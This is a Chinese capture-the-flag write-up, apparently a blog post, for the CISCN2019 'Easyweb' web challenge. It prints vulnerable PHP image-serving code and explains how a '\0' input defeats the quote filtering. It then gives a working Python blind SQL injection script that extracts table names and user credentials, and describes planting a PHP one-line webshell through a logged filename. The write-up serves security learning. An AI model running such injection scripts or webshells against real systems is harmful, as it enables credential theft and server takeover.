• [CISCN2019 总决赛 Day2 Web1]Easyweb


     扫目录能扫到一个robots.txt

    在页面源代码发现

    访问image.php.bak拿到源码

    1. <?php
    2. include "config.php";
    3. $id=isset($_GET["id"])?$_GET["id"]:"1";
    4. $path=isset($_GET["path"])?$_GET["path"]:"";
    5. $id=addslashes($id);
    6. $path=addslashes($path);
    7. $id=str_replace(array("\\0","%00","\\'","'"),"",$id);
    8. $path=str_replace(array("\\0","%00","\\'","'"),"",$path);
    9. $result=mysqli_query($con,"select * from images where id='{$id}' or path='{$path}'");
    10. $row=mysqli_fetch_array($result,MYSQLI_ASSOC);
    11. $path="./" . $row["path"];
    12. header("Content-Type: image/jpeg");
    13. readfile($path);

    输入\0,按照它本来的设计应该是想把这个\0替换为空,但是\0会先被转义函数转义为\\0,因为他会先走addslashes函数,这样再进行替换的时候就会剩下\这里id被过滤完后剩下的转义符\,刚好可以转义原来的sql语句中id的后一个单引号

    使得

    select * from images where id='{$id}' or path='{$path}'

    变为

    select * from images where id='\' or path='{$path}'

    实际上查询的值是' or path=

     脚本

    1. import requests
    2. url='http://4354f819-3b9a-47cf-b39f-6e16f65b5ccd.node4.buuoj.cn:81/image.php'
    3. flag=''
    4. min=0
    5. max=127
    6. mid=int((min+max)/2)
    7. for i in range(25):
    8. while mid>min:
    9. # payload=" or if((ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1))>{}),1,0)# ".format(i,mid)
    10. # payload=" or if((ascii(substr((select group_concat(column_name) from information_schema.columns where table_name=0x7573657273),{},1))>{}),1,0)# ".format(i,mid)
    11. # payload=" or if((ascii(substr((select group_concat(username) from users),{},1))>{}),1,0)# ".format(i,mid)
    12. payload=" or if((ascii(substr((select group_concat(password) from users),{},1))>{}),1,0)# ".format(i,mid)
    13. params={
    14. 'id':'\\0',
    15. 'path':payload
    16. }
    17. res=requests.get(url,params=params).text
    18. if 'JFIF' in res:
    19. min=mid
    20. mid=int((min+max)/2)
    21. else:
    22. max=mid
    23. mid=int((min+max)/2)
    24. flag+=chr(mid+1)
    25. print(flag)
    26. min=0
    27. max=127
    28. mid=int((min+max)/2)
    29. print(flag)

    username就是admin,password是中间的这部分

    登录上来有个文件上传,直接上传一个php文件

    发现不能直接上传 ,改成jpg

    去访问logs/upload.35f522295f76eb27b1601c557fc42278.log.php

    记录了文件名

    把文件名写成一句话木马

    注意这里用了短标签的写法

    找到flag

     

  • 相关阅读:
    streamlit自定义图表大小 (用components渲染pyecharts等)
    第三十六回:BottomeSheet Widget
    AJAX请求及解决跨域问题
    临界区(critical section 每个线程中访问 临界资源 的那段代码)和互斥锁(mutex)的区别(进程间互斥量、共享内存、虚拟地址)
    题目0114-简易内存池2
    js中 slice 用法用法全解析
    多层感知机(MLP)、Transformer、Memory Bank
    好物周刊#8:开源镜像站
    图论---最小生成树
    java计算机毕业设计人才库构建研究源程序+mysql+系统+lw文档+远程调试
  • 原文地址:https://blog.csdn.net/Yb_140/article/details/127964437